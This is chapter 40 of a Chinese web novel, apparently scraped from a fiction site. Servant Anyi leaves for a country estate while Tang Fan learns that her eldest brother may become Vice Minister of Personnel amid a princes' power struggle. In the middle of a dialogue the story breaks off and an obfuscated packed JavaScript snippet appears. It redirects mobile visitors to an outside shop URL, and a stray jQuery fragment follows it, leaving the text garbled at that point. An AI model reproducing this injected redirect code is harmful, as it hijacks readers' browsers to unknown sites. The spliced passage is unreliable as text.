文趣网 > 其他小说 > 重生后怎么家被偷了 > 40. 第 40 章
    第二日清晨。

    昨晚唐凡就已经派人通知了小福子,让他今日和暗一一道,去她的别苑玩上几日。

    这可给小福子高兴坏了,天刚蒙蒙亮,就兴致冲冲地去暗一的房里寻人。但暗一的房中静悄悄的,连个人影都无。

    小福子在原地想了想,又往唐凡的兰馨苑跑。

    果不其然,刚一踏进院门,就看到了正在给树浇水的暗一。

    这时辰实在尚早,兰馨苑中的侍女们都还没起,整个院子里静悄悄的,只有时不时响起的几声鸟鸣。

    小福子气喘吁吁地跑到暗一身旁,刚要开口说些什么,就见暗一侧目投来的一瞥。那眼神中的警告看得小福子原地打了个哆嗦,到嘴的话全又咽了回去。

    于是小福子就这么揣着满腹的话,傻愣愣地跟在暗一旁边,看他把院中的四棵树一一浇了个遍。又默默跟着暗一把空桶放回原处,一同走出兰馨苑。

    暗一这才开了尊口,声音低沉,听不出什么情绪:“怎么?”

    小福子依旧难掩兴奋,手舞足蹈地比划着回话:“那个暗一大哥,小姐说让我和你一块去别苑,我来找你,想着咱们能赶紧动身。”

    语毕,小福子就接收到暗一沉沉的目光,他的笑容瞬间僵住,心里的那股子热乎劲儿也在这种极具压迫的眼神之下缓缓收敛、再收敛……

    最后,小福子勉强干笑两声:“哈哈……那个,其实也、也不急的,还是得等小姐醒了,您和她打声招呼再走才好……”

    沉默。

    依旧是沉默。

    暗一像是根本没听见他的话,目光一直放在远处唐凡的屋门上,仿佛能透过门板,看到里面熟睡中的人。

    小福子脸上的笑容渐渐变得僵硬,就在他快要撑不住的时候,暗一终于启唇道:“走吧。”

    “啊?”小福子愣了愣。

    暗一迈着大步向外走:“出发。”

    他是很想和唐凡说一声再走,但转念一想,不过处理一个李石,耽误不了他多久时间。

    早去早回,也好。

    ……

    时值正午,日头正毒。

    暗一和小福子停在一处驿站,歇息一番顺便用膳。小福子牵着两匹马去了马棚,给它们喂了些粮草和水。

    暗一寻了个遮阳的棚屋坐下,要了两份简单的午膳。

    他抬头望向头顶毒辣的日头,又在心里默算了一下他们骑马走出去的路程,越想越觉得有些不对劲。

    见小福子回来,他便开口问道:“还有多远?”

    小福子走到暗一对面的位置上坐下,擦擦额上的汗,回道:“要是按咱们上午的速度的话,约莫今晚就能到了。”

    暗一:“这么远?”

    “啊?”小福子捧起碗的动作微顿,反应过来他好像还没和暗一说别苑的位置,“是小姐在垣县的那处别苑,是稍微有些距离。但也还好,一日就能到了,那边风景可好了……”

    小福子后面说的那些,暗一已经听不进去了。

    暗一缓缓皱眉,这距离和他预计的未免出入太大了。

    他原本的计划是,先去唐凡说的别苑做做样子,然后立刻转道去南山寺。

    南山寺本来距离京城就要半日脚程,眼下他们却又要往南山寺的反方向走上一整日。这么一来,光是在路上往返就要耗去两天时间,还不知道李石在南山寺那边到底在搞些什么。

    暗一迅速往嘴里扒了几口饭,起身就要去牵马。

    小福子愣了一瞬,反应过来后急忙跟着起身,手里的碗都没来得及放下,他挡在暗一身前道:“暗一大哥,您这……干嘛去啊?”

    暗一道:“回去,我有事。”

    “不行啊!”小福子哭丧着脸拦他,但又不敢真上手拽人,急得原地跺脚。

    就在这时,小福子脑中突然灵光乍现,想起小姐派人传话时告诉他的“暗一不听指挥就提小姐”。

    他当时还在想,出去玩哪还有什么“不听指挥”的?现在看来,小姐果然是未雨绸缪,这都能料到了!

    小福子连忙提高声音,道:“小姐说了!您必须得跟我去垣县别苑,您要走了,我肯定是得如实和小姐汇报的!您要是不想去了,您……您自己给小姐传封信?”

    暗一的目光移到小福子身上,盯得小福子直头皮发麻,他才惜字如金道:“抓紧赶路。”

    小福子如蒙大赦:“哎,好好好。”

    他心里那叫一个庆幸,还好小姐的话好使,不然他可真是叫天天不应,叫地地不灵了!

    小福子连筷子都顾不上找,直接用手抓起碗里的米饭,狼吞虎咽地往嘴里塞,三下五除二就把一碗饭扒拉干净。他扔下碗,嘴里还含着饭,含糊不清地喊道:“大哥,我、我好了!咱们……出发吧!”

    暗一斜睨了他一眼,没说什么,越过他去马棚牵马。

    -----------------

    唐凡一觉睡到日上三竿。

    起床出门,就看到白鹭已经将午膳摆好了。

    见唐凡出来,白鹭递给唐凡一杯水,笑道:“小姐洗漱好了吗?先喝口水润润嗓子。”

    唐凡点点头,接过杯子喝水,又看向屋外暗一常站的位置,并没有人。

    “暗一呢?”

    白鹭顺着唐凡的视线看过去,也没看到人:“不清楚呢,我从早晨到现在一直没见到他,还想着今天和他道谢来着。”

    唐凡撇撇嘴,有些微妙的不满。

    她怀疑他人已经走了,竟然连招呼都不打一声,他到底还记不记得自己下人的身份了!真是越发没规矩了!

    不过,她转念一想,又放心不少。

    她昨日派人去和小福子说了,一定要在别苑拦上暗一一段时间,暗一能被他拦多久,他就能在别苑玩多久。就凭小福子那爱玩的性子,他也一定会使出浑身解数,把暗一看得死死的。

    吃完午饭后,唐凡决定去母亲的院里转转。

    唐凡带着白鹭踏进院门,便见许久不曾露面的大哥也在母亲院中,正在和母亲讲话,二人的语气都有些严肃。

    背对着门口坐的唐昭仁并未察觉到唐凡的到来,而坐在大哥对面的岳华浓,一眼就瞥见了鬼鬼祟祟的唐凡,笑着冲她招了招手,示意她进来。

    唐昭仁看见母亲的动作,回头一看,见是小妹,温和地冲她点点头便继续和母亲讲话。

    唐凡快步走近,也没打断他们二人,老老实实地坐在母亲一侧旁听。

    唐昭仁长长地叹了口气,语气沉重:“太子与三皇子的争斗愈发激烈了,此时冒头甚是不妥。这本来就是个烫手山芋,谁能想到会突然砸到我头上。我与父亲和二弟商议,他们却都认为这是个难得的机会。母亲,您意下如何?”

    唐凡一听他们在讨论这些,立刻竖起耳朵,仔细听着。

    岳华浓捏捏眉心道:“你现在这个翰林院学士,说穿了不过是个清贵的虚职。吏部侍郎就不同了,那权力是实打实握在手里的。你还太年轻了,要不是太子和三皇子斗得厉害,这位置恐怕真落不到你头上,陛下此举,也是存了平衡两党的心思。”

    “吏部侍郎”四字一出,瞬间拨动了唐凡敏感的神经。

    姨夫昨日还说,吏部侍郎这个位置要替三皇子争一下,还要推举个和孔家有姻亲关系的人出任。

    看来……他们是失败了?

    所以太子和三皇子两党争来争去,到最后竟然被保持中立的大哥捡了漏?这可真是出人意料。

    唐昭仁道:“唉,我何尝不知这等机缘可遇不可求。但……若是履职,必然难逃党争。”

    岳华浓拍了拍唐昭仁的肩膀,道:“福祸相依,老大,这事你父亲和老二说的对,这一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740103|205216||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    步,值得冒险。就算你父亲护不住你,还有岳国公府呢,你外祖父那还有块先皇赐的免死金牌。”

    唐昭仁无奈喊她:“母亲,还不到如此地步吧。”

    岳华浓笑起来:“好好好,不说这个不说这个,我儿定然是有大造化的,你且放心去便是!”

    父亲背后无人,母亲却不同。虽然唐昭仁口头上说“不至于此”,但确实也存了希望得到岳国公府的支持的念头。

    得到母亲的应允,唐昭仁的心里有底多了,神情也放松了下来。他将目光移到唐凡身上,刚想开口说些什么,却被小妹抢先一步。

    “大哥,你要做吏部侍郎了,那原来的吏部侍郎呢?”唐凡好奇地问。

    唐昭仁愣了下,回道:“许是会被贬吧?他牵涉进了‘陈桥案’,大理寺还在深入调查。具体的人事调令还没下来,我也不是很清楚。”

    唐凡抓紧机会又问:“陈桥案是什么事情啊?”

    唐昭仁挑挑眉,有些意外:“小妹竟然还对这些事感兴趣?”

    唐凡心里咯噔一下,一时拿不准母亲和大哥对于她打听这些事是什么态度。母亲或许还好说话些,但大哥最是古板,保不齐会拿训诫闺阁女子的那套来说教她。

    于是她将目光在他们二人的身上转了转,状似无意道:“我就是好奇,不能说就算了……”

    然而,出乎唐凡意料的是,素来古板教条的大哥却笑了笑,温和道:“这有什么不能说的?几个月前,太子妃的庶妹上街游玩,被一个男子纵马所伤。那男子非但不赔礼道歉,还出言挑衅,大肆宣扬自己有个能撑腰的大官亲戚。后来事情闹大,查到那人口中的‘大官’,便是陈桥。这个陈桥是个专放印子钱的泼皮无赖,大字不识几个,也不知道走了什么门路,竟在几年前混了个进士出身,还在京中挂了个书记小官。”

    唐凡听得津津有味:“啊,那岂不是买官?不对,大字不识还能成进士,这岂不是还涉及到科举舞弊?”

    唐昭仁点头:“正是如此,太子借此彻查,揪出一堆朝堂蠹虫。具体中间还发生了什么,我就不太清楚了。”

    唐凡了然。恐怕不止“蠹虫”,太子这是借着这个由头,顺势铲除异己,巩固自己的势力。难怪三皇子会如此坐不住,甚至慌不择路地去找表姐求助。

    唐昭仁看着小妹认真的模样,忍不住笑道:“小妹这些日子看起来气色不错,精神头也足了。”

    唐凡连忙将思绪从刚刚的话中抽出,用力点点头回道:“嗯,我最近可好了!大哥不用担心我!”

    唐昭仁想了想,又道:“跟你一比,唐二那小子最近就跟得了什么大病似的,人瘦了一圈。”

    他转眸看向岳华浓,语气带着些无奈:“母亲,您是不是对他太过苛责了?您……不会到现在,还没和他说过话吧?”

    这话说的唐凡有些心虚,她这段时间也一直不爱搭理二哥。

    岳华浓轻咳了几声,不自在地道:“行,我知道了。他下次再来,我就给他个台阶吧。”

    唐凡想到二哥和张远最近的古怪之处,一时也拿不准要不要多嘴。思索一阵后,还是决定再观察观察,于是她说起另一件事:“那日二哥去找我,好像说他有些偏头痛,是不是因为这个……”

    “偏头痛?老二什么时候有这个毛病了?”岳华浓皱起眉道。

    唐昭仁也皱了皱眉:“我也没听他提起过,过会我带府医去给他把个脉吧。”

    唐凡道:“白鹭给找了个偏方,二哥说用过以后已经好多了。”

    唐昭仁起身,道:“好吧,那我晚些再去看他。母亲,小妹,我得先进宫回复陛下了,就不多留了。”

    岳华浓挥挥手:“好,快去忙吧。”

    唐凡道:“大哥晚上去看二哥的话,记得叫上我啊!”

    唐昭仁应下:“好,知道了。”